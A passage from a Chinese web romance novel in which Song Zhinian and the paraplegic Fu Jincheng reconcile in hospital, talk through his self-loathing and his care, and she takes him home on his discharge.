指缝之中的光亮渐渐地清晰,那些光足够让他看清她的模样。 “我做不到看到这具身体的时候无动于衷,我无法做到去平静地接受我的残疾,我用了三年的时间,最多最多,也只能是像一只鸵鸟一样,闭上眼睛避而不见。” 他笑了笑,那抹笑容像是由脸上的肌肉故意牵扯,怎么看怎么都是一股勉强的意味。 “我可以爱你所爱的一切,但我无法爱自己。” 他可以爱屋及乌,但对于自己,他还是只能进行这场沉默的抗争。 “阿承,你确定,你会爱我所爱的一切吗?” 她凑近了他,直到确定他睁眼第一眼看到的是自己后,方才对着他询问道。 “我会。” 傅瑾承不假思索地回答道。 她看着被自己遮住了眼眸的傅瑾承,笑着问道:“所有的一切,你都会吗?” 宋知念小心地试探道:“如果我爱上了一位男性,你也愿意接受、容忍吗?” “……” 傅瑾承沉默了一瞬。 他会爱她,也愿意去爱那些她爱的人和事,但是如果她爱上了其他的男性,傅瑾承想自己怕是会疯,更别提其他的了。 他的声音干涩,如同脆弱的弦线被玻璃恶狠狠地划过。 “如果你真的爱上了其他人,我只求求你,不要告诉我。” 只要不告诉他,他就可以装作若无其事,他便可以当作自己一无所知。 他的爱太过卑微,只能跌落于尘埃,破碎与泥泞之中,去等待。 心痛如刀绞,即使他知道宋知念只是在提一个假设,但是他也莫名地担心这个假设是真实存在的,他也担心这个假设是宋知念的提醒。 可这样的他,又有什么能力去阻止她奔向比自己更好的人呢? “但如果你希望我知道。” 他压着嗓子,被宋知念遮掩住的眼角泛着浓郁的猩红,却又还是在垂死挣扎般说道:“那我也尊重你的选择。” 只要那个人,能够对她好,只要她喜欢,他也就只能认了。 在这场爱情的较量之中,他早就输得精光。 他闭上了眼睛,等待着宋知念的宣判。 “没有别人。”他听到她在自己的耳边轻叹: “从始至终,我只爱过一个人。” 她的心很小,小得在爱情的这间心房之中,她只有他一人。 宋知念突然松开了手。 黑暗与光亮在她松开的一瞬进行着交汇。 傅瑾承感受到了光,他眨了眨鸦睫,眼眶的底部还有湿润的红光。 “是,我吗?” 傅瑾承有些不确定。 他们相知的时间太多,但是相爱的时间又太少。 可是,他让顾书屿和其他人曾经帮他打探过宋知念的同学,得到的答案都是宋知念打算专心于学业,不再开启新的感情生活。 想到这里,傅瑾承的眼眸之中渐渐亮起了光亮,这股力量支撑起了他,他的双手放在床上,撑着将自己做得笔直了一些。 掌心之中受着他身体的力量,他这般不顾前面无力的肢体,用自己的体重压着自己重心,就连掌心和手臂都有些酸胀。 “念念……”傅瑾承有些焦急地恳求道: “你能不能,告诉我。” 她将手抚摸上他的手背,他用的力太大了,手背上的青经凸起,指尖的肌肉被压着紧紧地。 “只有你。”在他恳求的目光之中,她回答了他的提问: “除了你之外,没有别人。” 她没有爱上过除他以外的人,年少的时光太过于惊艳,即使留下的是决绝的痛苦,却也还是留下了记忆之中的最深处。 宋知念的停顿并不长,可是那几秒,傅瑾承却感觉过了许久许久。 而在等待她的回答之后,那股撑起来的力气再也把持不住,身体下意识地前倾,重心的偏移让他头脑感到眩晕。 “那……就好。” 手臂已经无力去寻找下一个支撑点,他不想摔在她的身上,即使再怎么样,摔在自己爱人的怀里,更像是个无能之人的表现。 在最后一刻,他将身体往自己的右边加大了力,做好了自己会倒在床上的准备。 但他的计划落空了。 他的重心才刚刚向右发生偏移,就被她拉住了。 宋知念倾身向前,抱住了他。 他还是和上一次一样,倒在了她的怀里。 傅瑾承靠在了她的脖颈之处,他的手在不由自主地颤抖着,不知道是因为刚刚支撑的原因还是心理状况的另外一种体现。 “要不要去叫医生。” 虽然现在说这话有些煞风景,但是宋知念还是有些不放心。 傅瑾承摇摇头,固执道:“不要。” 只是痛、只是抖动,这些日常常见的病症,只会让他痛苦,却并不会让他死亡。 “念念,你说的,是真的吗?”傅瑾承小心地,又一次问道。 在生理问题和精神问题最严重的时候,傅瑾承曾经一度产生过幻觉和幻听。 面前的场景太过美好,美好到似乎应该是梦中出现的场景一般。 “只有你。” 宋知念笑了笑,将他耳尖散落的碎发拨于脑后。 额前的碎发因为方才疼痛冒出时的汗液而沾黏在了一起,在四目相对之间,宋知念说道: “你前面说的,我都知道。” 她知道他的并发症会给身体带来多大的伤害,也知道他的自信自尊早已经被这三年的折磨而击垮。 “你的双手还能让我们相拥,如果和这一次一样因为疲惫而无法举起的时候,可以换成我来抱你。” 他能够掌握的肢体只剩下了双手,可是在生病或者是疲惫的情况下,他对双手的掌控也无法达到精准。 “你的思想还能让我们的思想相触,你教会了顾书屿和傅祈安那么多业务上的往来,你的思维并未因为被关押在身体的囚笼而停止。” 他的身体是他的监狱,但是他的灵魂却并未被监狱囚禁 傅瑾承明明还是傅祈安背后真正的军师,明明就是他在暗傅祈安在明的布局,他却总是觉得自己一无是处。 “念念。” 她看着他的目光是如此的清澈和坚定,让那三年的挣扎,让因为自己的一己之私而欺骗她、寻找她的傅瑾承感到羞愧。 “我真的是,何德何能。” 他将脸侧到她的脖颈处,那些带着珍重的轻吻,落在她的耳垂之处, 他到底是何德何能,获得了她对自己的爱。 “不是何德何能。”宋知念侧过脸,和他额间相抵。 房间之中的恶臭似乎已经消失,傅瑾承的身边只有她身上的淡香。 他们离得太近,互相之间,就连说话呼出的气体都在空气之中交融。 “我爱你的理由,和你爱我的理由一样。” 他爱她,仅仅因为她是宋知念。 而她依旧爱他,也仅仅因为他是傅瑾承。 额间的皮肤渐渐相触在一起,就连鼻梁都能轻易地触碰到对方。 “我希望傅瑾承,能把对我的感情,分出那么一些放到宋知念爱的傅瑾承的身上。” 她爱他,所以她希望,他能爱自己。 她的话让傅瑾承的灵魂都在他的身躯之中发出阵阵的涟漪。 欣喜、愉悦、失而复得的复杂之情,那些来自灵魂深处的共鸣,冲击得他几乎说不出话。 傅瑾承开始不满足于额间地相处,他低下头,完全凭本能去寻找她柔软的唇瓣。 在那一厘米不到的距离,他突然停了下来,他的唇在她的唇边流连徘徊,却并未触碰。 傅瑾承的犹豫很快被宋知念打破。 她低下头,填补上了最后的距离。 她柔软的唇填补了他的干涸,那些唇齿间的留香令他沉迷。 他就像是个饕餮,贪婪地吸食者她的温暖。 他会死的。 傅瑾承想。 如果她真的离开了他,他 一定会死的。 第44章 第44章“我来爱你。”…… 唇齿间的相触令傅瑾承有些感到迷离,他不愿意离开她的唇,他的手掌还放在她的腰间,贴着她的细腰。 夏日之中的布料是如此的单薄,单薄到隔着这样轻薄的面料,他甚至能感受到她细滑的肌肤。 他们的触碰是这般的紧密,他们之间又是如此的贴近。 一切都如同梦境,但是一切却又好像是真实的。 傅瑾承难得的,犹豫了一瞬。 他有很多次,在那些短暂的睡梦之中,在那些不分日夜的监护室之中,靠着这些短暂的幻想,去逃避着眼前的现实。 但是每次一睁眼,“她”都会在他的面前消失。 幸福的是梦中的拥有,而痛苦的是现实的冰冷。 “阿承?” 宋知念感受到了傅瑾承的迟疑,她微微拉开了两人的距离,轻声道:“怎么了?” 她的声音在他迟疑的那一瞬间唤醒陷入情绪之中的他。 他望着她,眼中有些疑惑的空洞,却又在目光聚焦于她的瞬间,再一次将唇覆盖于甘泉之上。 这才是现实。 不是夜晚之中的梦境,不是痛苦之中的幻想。 他们的肌肤隔着夏季的布料相触,近到只有那么几毫米的距离。 她说她爱他,她说让他学会自爱。 这才是现实。 “念念。” 傅瑾承流连于甘泉之中,细细碎碎的呢喃从他的口中泄露而出。 情绪的波动远远超过正常的阈值,低烧情况下的大悲大喜是头脑之中更加激烈的疼痛。 但是他依然固执着和自己的身体对抗着,像是在吸吮着唯一治愈的他的良药。 直到她离开了他。 “好了。” 宋知念实在无法忍受傅瑾承像在她的唇上轻咬着,虽然不痛,但是足以让人感受到心烦意乱。 她的身子往后撤了撤,想要结束。 傅瑾承有些不满足,他还是不甘如此结束,想要再一次去追寻,却被她用一根手指抵在了唇上。 “阿承。” 宋知念有些无奈,她的红唇越发的鲜艳,脸颊上的红润是因为她们之间呼吸交换的时间太久,也是因为单纯性的害羞。 “停了。” 他这才有些心不甘情不愿地停下来,一双黑眸看着她,眼中有湿漉漉地不满,像是在谴责她的狠心。 宋知念的唇瓣已经感受到了细微的疼痛,他紧贴的是那样紧密。 皮肉之间的疼痛和那些嘴唇上细小的咬痕很快就会消失,但是此时却还是留下了丝丝的痕迹。 “念念。” 傅瑾承的唇被她的手指压着,他有些不满地哼哼道。 他的脸颊已经是一片的潮红,也不知道是因为呼吸不畅的缘故、还是情绪的缘故,他的呼吸都有些急促。 宋知念的手指却并没有因为他的不满而离开,她侧开了蓁,看了眼床边的监护器。 上面的心率值已经比平时高出了不少,宋知念有些无奈地瞪了眼被她压着还不安生的傅瑾承,威胁道: “听话,不听话就没有下次了。” 他受伤的位置对心脏也会产生间接的影响,今天情绪的起伏已经足够频繁。 他被她的手指压着,故意没有说话,只是望着她,有些无辜地眨了眨眼睛。 宋知念被他看得心软,她松开手指,安抚道: “不要不开心,你情绪波动不能这么厉害。” 傅瑾承是有些不开心,但是他更加知道怎么样才能给自己争取后面的利益。 “我听话。” 他拖了长音,环抱在宋知念腰间的手,像是疲惫一般松垮了下去,然后顺势倒在了她的肩膀上,蹭了蹭她的脖颈,在若无其事地说: “我没有不开心。” 听到傅瑾承的这么说,宋知念稍微安下心。 她顺着他的背抚上他的脖颈,一边替他按压肩颈处已经有些僵硬的肌肉,一边轻声问道。 “累了吧?” 傅瑾承摇了摇头,但是不愿再说话。 宋知念在追问下去,也只感受到他往自己的脖颈之处又缩了缩,他的脸颊贴着她的脖根处,额间的温度顺着肌肤的相触不断地传到她的肌肤之上。 他额间的温度明显还未曾褪下, 明显是一副故作逞强的模样。 “阿承,你还在发烧。” 宋知念顺着他的脊骨往下抚摸:“躺下来休息一下好不好?” 他受伤平面上下的温差非常明显,上半身能调控体温的皮肤正在往外散发着热气,但是受伤平面以下的肌肉和肌肤仿佛已经和他的整具身体完全的脱节,冰冷又僵硬。 傅瑾承不想从她的怀里离开,他只能模模糊糊说了句不要。 像是在闹脾气一样。 “可你下午还要打点滴。”宋知念有些哭笑不得,她抬头看了下时间。 傅瑾承只是转了病房,但是该做的治疗都还是要做,他每天下午都还是要挂点滴的。 此时距离点滴的时间差不多也要到了。 宋知念只能身体向前,不顾傅瑾承想要拉住她衣角的动作,拂开了他的手,让他靠回到床铺之上。 她的手从他的掌心之中溜走,那些肌肤的触感只在他的掌心停留了一瞬。 宋知念拒绝的动作太明显,傅瑾承别过了脸,不想看她。 她将他的脸扳过来,但是他却不愿意回头。 “你嫌弃我。” 傅瑾承不肯回头,他干脆抬起手,遮住了自己的眼睛,不让她看自己,控诉道:“你推开我的手。” 宋知念暗自叹气,“我哪里有。” 自从刚刚她心软亲了他之后,他好像就一直在得寸进尺。 但想到他在发烧,再想到他前几日那般难受的模样,宋知念就是在铁石心肠的人也只都心软了。 她只能哄道:“等打好点滴再看你,待会儿要先看医生。” 他还是不肯回头。 宋知念看了眼时间,下午三点了。 果然,护士和医生准时地敲响了门。 “进来吧。” 宋知念没有理会背对着她还是一脸不悦的傅瑾承,她站了起来,往床尾走了走,给医生和护士让开了位置。 护士手中的托盘之中,除了要挂的药水之外,还多了几块白色的药膏贴。 宋知念认得那是压疮的膏药贴,谢医生在上次给傅瑾承脚上的压疮上药的时候给宋知念看过。 “是有新的压疮了吗?”宋知念对医生问道。 她对傅瑾承的现在复健的医疗团队熟悉一些,傅祈安曾经和她提到过,现在医院的主治医生在傅瑾承没转入康复医院之前也是傅瑾承的主治医生,但宋知念和他接触不多,并不太熟悉。 “对。”医生点点头,解释道:“是刚刚护工发现的,我过来检查一下。” 转病房之后傅瑾承又是痉挛又是失禁的,把顾书屿吓得不轻,还是护工发现傅瑾承的臀部有些泛红压伤的迹象,将这件事情告诉主治医生后,医生下手术台之后就过来进行检查了。 压疮就是因为皮肤长期受压才形成的,护士拉上床帘,让宋知念先去外间的沙发上等待。 他新压疮的位置应该是最近靠坐和长糖的原因导致的,医生先给傅瑾承上好了药,又将他的全身都检查了一遍。 压疮的位置并没有知觉,所以傅瑾承本人是没有感觉的,医生和护士干脆将傅瑾承翻了个身,让他平躺在床上,以便对他背后的肌肤进行减压。 他们的动作很麻利,没过几分钟他们就完成了卧位的改变,也给傅瑾承打上了点滴。 等宋知念送走医生和护士回到床前的时候,就看到傅瑾承已经趴在了床上。 被他自己掀开的薄被已经重新盖在了他的身上,床尾原本拿来给他抵住脚的沙袋被放在了一边。 傅瑾承的脚背向下搭在床上,除了脚掌内扣和脚趾蜷曲,足下垂在此时倒看得并不明显 他的一只手和腿被搭在圆枕上,手上还调着点滴,另外一边靠在床侧,他是侧着脸在枕头上的,令人看不清他在想什么。 宋知念走到他脸侧过去的那一边,将脸也斜靠在枕上。 他是完全侧躺着的,宋知念 如果想要看清他的模样,也只能和他一样侧趴着。 宋知念干脆脱了鞋子,靠在枕头的另外一边,和他只隔着一个小圆枕面对面侧躺着。 傅瑾承的打着点滴的那只手环到了宋知念的肩背,而宋知念直接半抱住他。 “念念。” 见宋知念这般靠近,傅瑾承也只是勉强笑了笑。 他的心情并不好,宋知念摸了摸他的发丝:“是这个姿势不舒服吗?” 傅瑾承摇摇头:“不是。” 这个动作在一定程度上还能减轻腰间的受力,不仅可以给他背后的皮肤减压,还能缓解他的背部肌肉。 他犹豫了一下,说道: “念念,我可能没有办法做到给你的承诺。” “我还是。” “——有些讨厌现在的自己。” 他依旧不喜欢别人摆弄他的身体,被别人将身体摆来摆去、擦来擦去,总令傅瑾承感觉自己的尊严完全被别人踩于脚下。 即使知道,他们是在为自己好。 “翻个身要别人帮忙,皮肤压伤了也没有感觉,只能让别人翻来翻去,生病的时候有时候连手都举不起来。” 他想要去接纳那些她爱的一切,但是他也是真的,没办法容忍现在的自己。 如果能因为爱她就不恨自己的身体,他也不会拖延这么久才来找他。 “我知道了。” 宋知念的脸上露出了然,她的手停留在傅瑾承背上蜈蚣一样扭曲的疤痕之上。 就是这一道几厘米的疤下,是他经年不息的痛楚。 傅瑾承屏住了呼吸,等待着她的宣判。 宋知念突然笑了。 “傅瑾承,那你就全心全意来爱我吧。” 既然他无法去爱自己,那他就来爱她吧。 再然后。 “我来爱你。” 第45章 第45章“念念,带我回家吧。”…… 虽然店铺被砸了,但是董语最近却明显感觉,宋知念脸上的笑容多了许多。 董语拿出醒好的玫瑰花,斜剪好花枝,将手中的花卉分批插入到面前的小花瓶之中。 “雅琴姐。”董语推了推在自己旁边正在调试新机器的高雅琴,悄声问道:“你不觉得,念念姐这两天的情绪好像很好吗?” 她们店里的上一个咖啡机也已经报废在了那场暴雨的暴力之中。 那天也是外面收拾好玻璃进屋清点的时候,宋知念他们才发现,徐承运不仅砸坏了落地的推门玻璃,还刻意将水倒入了机子之中,导致咖啡机的电路被烧断。 高雅琴和新机子还在磨合之中,她按照前一个咖啡机设定的数据,正在尝试和新机子磨合萃取。 听到董语的调侃,她忙里偷闲地抬头看了眼宋知念。 宋知念正在安置新的桌面摆件。 店里面那些被雨水淋湿需要修复的古物已经全部被宋知念收了起来,送到了做修复师的朋友那边进行修复,而那些替代的摆件也已经在这两天陆陆续续地进入了店内。 她看上去心情不错,店里的损失对她的心情并没有造成太大的影响。 此时甚至正在将新淘来的摆件一个个按照桌面的风格进行放置。 “昨天傅先生的那个好朋友来了。”高雅琴按下开始键,和董语说道: “听他的意思,念念和傅先生应该是复合了。” 他们店铺的玻璃在原厂家都有数据记录,加班加点地赶工了几天,前几天便已经安装完成了。 宋知念本来在医院要赶回来监工,正好下班过来的顾书屿知道了,便自告奋勇地过来了。 其实宋知念并不放心完全交给顾书屿,但想想高雅琴也在店里,加上傅瑾承这几天身体没有好转,就连复健也没什么力气,基本上每天就被困在床铺之中。 她想了想,还是选择了留在了医院之中。 “真的啊?”董语咋舌道:“傅先生病那么重……” 董语还记得傅瑾承,他第一次来店里的发病给从没有完全意义上了解过残疾和截瘫的董语带来了极大的震撼。 她有些小心地抬头看了眼宋知念,犹豫着问道:“念念姐真的要和他在一起吗?” 董语知道傅瑾承有钱,但她知道宋知念家本身也不差;她虽然听说过傅瑾承和宋知念过去曾经有过那么一段未结束的情缘,但是想想傅瑾承的身体,董语内心也有些替宋知念不平。 “不知道。”高雅琴摇摇头,看向宋知念,目光之中露出怀念:“我只知道,你念念姐决定的事情,是谁都无法阻止的。” 帮她夺回女儿的抚养权也是,当时高雅琴的前婆婆还想给高雅琴施压,高雅琴被前夫还有婆婆骚扰的苦不堪言,就连她自己当时都快心灰意冷了。 是宋知念一直在旁边告诉她,让她不要放弃,并且给她了律师的联系方式,帮她解决了所有的后顾之忧。 高雅琴知道,宋知念是个专情且长情的人。 咖啡液滴落的声音慢慢消失,高雅琴回过神,拍了拍董语的头:“很少有人能完全走进你念念姐姐的内心之中,但是一旦他们走进了。” 也就被她划为了自己人的行列。 傅瑾承是一个,她也是一个。 高雅琴尝了尝新机子萃取出来的口感,又重新调试了下,新做了杯话梅气泡美式给宋知念。 最近的空气仍旧燥热,宋知念最近偏好上了清爽感的话梅气泡,高雅琴也让她尝下新机子的萃取出来的味道。 新的摆件都是宋知念和林芸之前去各地游玩的时候买来的各式各样的摆件,之前一直丢在家里,这次倒也能拿上来临时装饰一下。 她把最后一个从欧洲淘来的小托盘放在桌上,将桌上原本的立牌和绿植转移到银盘子上,这才回到柜台。 店里的杯子还在外面集中清洗消毒,高雅琴给宋知念装的是外带杯,这倒也是方便了宋知念。 “都差不多收拾好了。”宋知念拿起高雅琴给她做好的咖啡,猛地洗了一口,这才缓了缓说道: “下午家政会来一起打扫卫生,可以按照原定计划明天恢复营业。” 高雅琴连声应下。 宋知念拿着咖啡,环顾了眼四周。 原本破碎的玻璃已经明亮崭新,机子和磨豆机也都换了新的,桌椅上的摆件都已经完全布置好。 一切都好像是恢复了如初的模样,如果不是那些细微的变化,似乎一切都和之前没有区别。 但是宋知念知道,一切都和之前不一样了。 外表看上去似乎区别不大,但是那些细微之处的温暖和细微之处的改变,还是有了变化。 宋知念低头看了眼时间。 傅瑾承的检查时间差不多要到了,等今天检查完,傅瑾承会出院回家。 他身上的感染已经有所好转,后面主要还是复健和长期养护的事情。 谢医生他们本来不放心让傅瑾承直接出院回家,想要决定先转回康复医院观察一段时间,但是傅瑾承不同意,谢医生也只能听从傅瑾承的想法。 好在家中的医生团队也可以用药治疗,谢医生他们也安排了排班每天安排医生轮流过来复查记录。 “我先走啦。” 宋知念拿起咖啡杯,对两人摇摇手道:“傅瑾承今天出院,我去接他回家。” 她上一次已经缺席了傅瑾承的出院,但这一次,她不想再缺席了。 “好。” 高雅琴对她挥挥手,只有董语脸上还有欲言又止的犹豫。 宋知念没有注意到董语的神情,时间着急,她转身离去。 阳光明艳,照着树影之间都出现了一层又一层的浮光。 医院 之中并不好停车,但即使宋知念是打车过来的,也在医院的外圈入口处被堵上了许久。 她匆匆跑到傅瑾承的病房之中,他的检查已经做好。 旁边的护工和家里的工作人员已经在房间之中开始收拾他的日常用品。 外间的沙发上,谢医生正在和医院之中的医生拿着傅瑾承的检查结果交谈着什么,见宋知念来,两位医生站起来,互相问了下好。 他们口中说的医学名词宋知念听不太懂,简单招呼之后,她也就先进了里间。 傅瑾承正侧靠在床上,望着外面的天空。 他病房的窗户很大,大到正好能看见远处的耸立的高楼,而因为限位器的缘故,窗户能开的缝又很小,小到他甚至无法将手伸出窗外。 他看着窗外的天空,就好像看着自己失去的自由。 鞋跟在木质的地板上发出响声,这脚步声并不是医生们的洞洞鞋能发出,傅瑾承回过头,微微笑笑。 他眼中的失落来不及遮掩,但也在见到宋知念的那一刻将失落转为了笑意。 “念念。” 他对着她伸出手,眼眸之中的失落就好像是被海潮涌过的沙石,顷刻间被海水吞噬,却又总是在不经意之间露出。 “我以为你会在家里等我。” 他这次的出院比较麻烦,身上的炎症还未消除,尿袋一直固定在身边,每日还需要打消炎的药水,甚至药的吃法都要发生改变,激素类的药物也是一颗一颗的灌下去。 好在吃了呕吐犯恶心的情况倒是消失了些,但也加上了每日用餐半小时后轻轻按腹部助消化的间歇性按摩。 这也是为什么,谢医生想要让他再回康复医院住几天的原因。 但是一向活死人一样任他们折腾的傅瑾承难得的使了性子。 “本来是想在家等你的。” 宋知念侧着坐到了床边,她拉过傅瑾承的手,给他揉着上面的关节:“但想想,还是想过来陪你。” 她这是第一次接自己出院。 傅瑾承抿着唇,嘴角勾起,他握住了宋知念正在按着自己的手:“我很高兴,你来陪我。” 他的笑容浅浅的,但眼眸之中还能看出他的喜意。 “想要我接就说嘛。” 宋知念的另外一只手胡乱揉了揉他的头发:“昨天还说让我有空再来,我要是不来,是不是又会不开心?” 傅瑾承没有点头,也没有摇头,他就看着她,略有些无辜地眨眨眼睛。 她来了,他会担心让她看到那些被黄色尿液填满地尿袋;但是她不来,他也会无法控制地感到自己的失落 “医生们怎么在外面说话?” 宋知念凑近傅瑾承,小声询问道:“谢医生是不是还不开心你不肯回医院?” 傅瑾承摇摇头,他有些无奈地抬抬手,手指的勾着宋知念的手指的动作缓慢、却又在轻颤。 他还不会对手指丧失完全的控制,但是影响也总是会有的,每一次生病之后,他手部的精细运动就要恢复一段时间。 “他们在讨论我后面的康复。” 傅瑾承小声说:“他们也不让我听,我也不知道他们在讨论什么。” 有可能两位医生是在吐槽他这个不听话的病人,也有可能是在吐槽他这个死倔死倔的性格。 但是傅瑾承不在乎。 他见到过太多病友从尿路感染引发到肾功能衰竭,最后甚至引发了尿毒症。 他们身体已经沦落于此,结局已经在现代医疗的教学书上被不同的白纸黑字写好。 而现在,他只想, 回到那个离她最近的家,回到那个她有闲暇之余就能来看他,回到那个只要他坐在床边能看到她房间灯光的家。 “念念,带我回家吧。” 第46章 第46章只要你在这个世界上多活…… “我带你回家。” 宋知念将胳膊撑在床铺之上,她的身子往前凑着,一只手牵着他的手,一只手撑着下巴,柔和地笑着。 她就是为了接他回家,才来的这里。 “学长。” 宋知念拖着长调,笑吟吟地将手指与他的手指交扣在一起。他的无名指和小拇指的力量不够,只能借着惯力攀附于她的手中。 她没有喊他全名,也没有喊他阿承,而是用了那个已经许久未曾喊出的称呼。 “我们一起回家。” 傅瑾承望着她,眼中的潮意渐渐消散,那些含着痛苦的尖锐砂石裸露在沙地之上,却被阳光温暖着褪去了身上的湿意。 他已经好久没有听到她的这个称呼,三年前最后一次听到,还是在他表白之前约她出来见面的时候。 三年的时光转瞬即逝,那些至痛、那些至伤,那些隔阂,似乎在她喊出这个称呼的时候,便化作了时光的灰烬,被风吹拂而去。 只有徒留在床上的残躯,记录着现实的惨烈。 像是过了一会儿,又像是过了许久。 傅瑾承终于用着力气,颤抖着抬起他们交握的手。 他举得的艰难,宋知念本想用自己的手臂拉一把他,但她不知道傅瑾承的用意,在短暂的用力之后,便又被傅瑾承所阻拦。 “我后悔了,念念。” 傅瑾承举得缓慢,却又举得坚定。 直到将两人交握的手举到了他的唇边,他才停住自己的动作。 他将她的手背靠在他的脸颊之上。 说话之间,他的唇瓣总是若有若无地划过她的手背。 “我后悔,三年前我的自私了。”傅瑾承突然说道。 三年前,他自私地替她做出了抉择。 他怕宋知念的人生被他所打破,但是直到此刻,傅瑾承才明白,三年前的选择,本身还是因为他的懦弱与自私。 是他傅瑾承自私地打着为她好的名号,替她选择了分手。 三年后,又是他将健康幸福的她卷入到了他的残破与阴郁之中。 这都是因为他的自私。 是因为他的懦弱和自私,才使得他们之间,浪费了三年的时光。 “念念。” 他的手还在颤抖,令宋知念分辨不清他的颤抖是因为生理问题的无力,还是因为他方才涌出的后悔。 “我想,就算你不愿意原谅我也没有关系,我会用这一个三年,下一个三年,再下个三年,去等待你的原谅。” 傅瑾承将她的手背抵在自己的脸颊上,随后,他将她的手翻转于自己的手心之上。 珍重的,郑重的,在那上面落下一吻。 这个吻没有带着任何的情/欲,只像是带着吻的主人的愧疚与珍爱。 还有迟到的,歉意。 傅瑾承有些忐忑。 他在等待,宋知念给他赎罪的机会。 宋知念望着傅瑾承。 他眼中的那片沙滩之上鲜血淋漓,却正在强撑,将海浪阻拦于情绪的堤坝之外。 她不愿再看那双眼眸。 宋知念用手挡住他眼眸之中的湿意。 眼前被一片黑暗所笼罩,傅瑾承下意识地眨了眨眼睛,鸦睫轻轻划过她的掌心,最后完全地闭上。 宋知念松开手,撑起身子,落下一个轻吻。 “那我,原谅你的自私。” 湿热的吻落于他的眼睑之上。 傅瑾承下意识地睁开了眼,他的黑眸如沁着暖色墨玉,看着面前的她,眼中带着惊疑。 “傅学长,我原谅你的不辞而别。” 那句他曾以为要用一辈子才能听到,或者这辈子都无法听到的话,就这样出现在他的耳边。 他有些不可置信地看着宋知念。 宋知念看着傅瑾承,就连眉间都染上了笑意。 我原谅你了,傅瑾承。 可是,三年痛苦的根源是更加惨烈的病痛。 曾经的宋知念,也曾经在想起傅瑾承的时候恶狠狠地撕着纸巾表示自己的不满:曾经的宋知念也在面对校园之中的流言蜚语的时候的背后,在被褥之中暗自神伤。 宋知念知道,自己可能 从她见到他的那一刻,那些积累的痛苦都只能化为无奈与心疼。 “念念……” 傅瑾承张了张嘴,却不知道自己该说什么,他知道自己的唇都激动到颤抖,耳膜空鸣,他甚至能清楚地听到心脏跳动的声音。 屋外的烈阳炙烤着这片大地,江南水乡的夏日,总是充斥着带着黏腻之感的闷热。 但病房内却并没有什么阳光,空调打到了令人感到舒适的温度,让傅瑾承总是会恍惚于自己所处的季节。 时间,季节,在他面前,世间万物的流速仿佛都已经变慢放缓,令他难以分辨。 傅瑾承有时候觉得,他正在和这个沉寂的房间、这张沉闷的病床融为一体。 但是现在不一样。 咚,咚,咚。 沉寂已久的心脏似乎跳动得飞快,傅瑾承知道自己的情绪不应该出现如此大的波动,但是他根本控制不住,也无法控制。 “念念。” 傅瑾承想要放声大笑,但是他处于低落状态的情绪和孱弱的身体却无法支撑他的想法。 他只能将她的手抵在自己的胸前,望着宋知念,对宋知念道。 “它在为你而跳动。” 他本来就没有什么活着的意志,有时候能坚持到现在,在傅瑾承自己看来,都是一个奇迹。 一个被身边人强行挽留的奇迹。 掌心之下,他的心脏跳得似乎比常人心脏跳动的速度要慢上一些。 傅瑾承的心率和血压都比常人低上许多,即使在这般激动的时候,似乎也是一样。 宋知念的手掌抵在他的胸口,她顺着心脏的位置缓缓上移,最后将手放在了他的感知平面的位置。 这一块的肌肉也能微微摸出些细微的差别,体温也有些区别,一高一低的。 “你要好好活着,傅瑾承。” 宋知念知道傅瑾承的自厌情绪不会这么快消失,也知道这一次强制出院其实也有受到他自己情绪的影响。 但是这也是第一次,傅瑾承表达出了他的想法。 加上家里其实该有的药物和设备也都有,几个人考虑之后,也便没有拦他。 可是她必须让他知道—— “只要你在这个世界上多活一天,我便会多爱你一天。” 身上的每一个细胞都在叫嚣着身体与她的接触,傅瑾承努力着抬高了自己的手,将手放在她的腰间。 宋知念松开了压在他胸口的手,任由着他抱着自己,将脸靠在自己的腹部。 “念念。” “嗯。” 她的手插入了他墨黑色的发丝之中,一下下地抚摸着。 下半身的知觉消失之后,还能有知觉的其他部分似乎都敏感了很多,她就这般细细地抚摸着,都令他感到来自于肌肤的震颤。 他的脸埋在她纤细的腰间,那些馨香环绕着他,他深深地吸了口气,像是对她说,也像是自己说。 “我会努力活着。” 只为了她能多爱自己一天。 * 傅瑾承的出院手续办得很快,两位医生在外间匆匆地交接完之后,护工就推着轮椅进入了房间。 他没有什么力气自己转移,护工熟练地将填满液体的尿袋先从床边拿起,然后一手从傅瑾承的膝盖下过,一手从他的背后环绕过,将他抱起转移到轮椅上。 傅瑾承的手下意识地握紧轮椅两边的扶手。 护工还在整理他的腿部和尿袋的位置,他的上半身没有支撑点也感受不到支撑点,这种漂浮于空中毫无支撑的感觉令傅瑾承只能牢牢抓住手中唯一能感受到的扶手。 他紧抿着唇,手紧紧地抓着,手臂上的青色经脉因为他的用力已经紧绷着凸起,指骨的位置都泛着白。 “是因为转移不舒服吗?”宋知念注意到了他的动作,她俯下身子,凑到他耳边问道。 她是站在轮椅后面的,自然也看不完全他的神情。 “嗯。” 傅瑾承简短地嗯了声,他很难和宋知念形容身体无所持的飘离感,也不想让她担心。 护工的动作很快,傅瑾承尽量不让自己低头去看下方。 他知道,就这样再坚持一会儿,最多半分钟,护工就会理好下半身的衣物,起身给他固定上半身。 但就在他想要闭眼等待的时候,一双手臂从他的身后伸出来,轻压在他的肩膀上,抱住了他。 躯体的紧绷渐渐松开,傅瑾承卸下了紧张,他的脸侧了侧,不肯去靠身后椅背的靠枕,而非要搭在她的手臂上。 宋知念有些不好意思地用手臂推了推他,他却依旧牢牢地贴着她。 护工装作什么都没看到一样将他的固定带系好,又给他盖上薄毯,这才借口去门口拿东西的名义,快速地离开了。 宋知念这才能够得以松开。 “干吗呀。”她嗔怪道。 虽然她的动作只是很简单的环抱,甚至由于轮椅的阻挡,她的动作更像是协助傅瑾承身体重心的稳定。 但是傅瑾承那般的不肯松手,给这动作莫名地添上了几分暧昧。 “我难受。” 傅瑾承倒是一副无辜的模样:“我只是想要靠着你。” 他说着,又想要伸出手来牵她。 一副黏腻着她的模样。 医生和护工这时候都已经出去了,宋知念无法,只得坐在旁边的凳子上,任他牵着自己的手。 她的体温温暖,那暖意顺着两人接触的那一块小小的肌肤传递到他的全身。 令傅瑾承满足地眯起了眼。 尿袋在薄毯下晃动,发出轻微的声响。 无边沼泽正在淹没他的身躯,吞噬着他的灵魂。 但是她来了。 第47章 第47章“你以为,那个女孩的结…… 回到傅瑾承家的时候,楼下已经停了一辆劳斯莱斯还有两辆跑车。 魅影低调沉重,两辆跑车的颜色大胆热烈,在一旁黑车的衬托下,却显得像是格外无知喜欢热闹的小孩,只能靠着颜色去彰显自己的存在。 宋知念认得那两辆跑车,她前不久刚看到傅祈安和顾书屿各自在朋友圈里晒了新跑车的合影。 看颜色和牌子应该就是眼前的这两辆。 “小傅总和顾总来了,还有——” 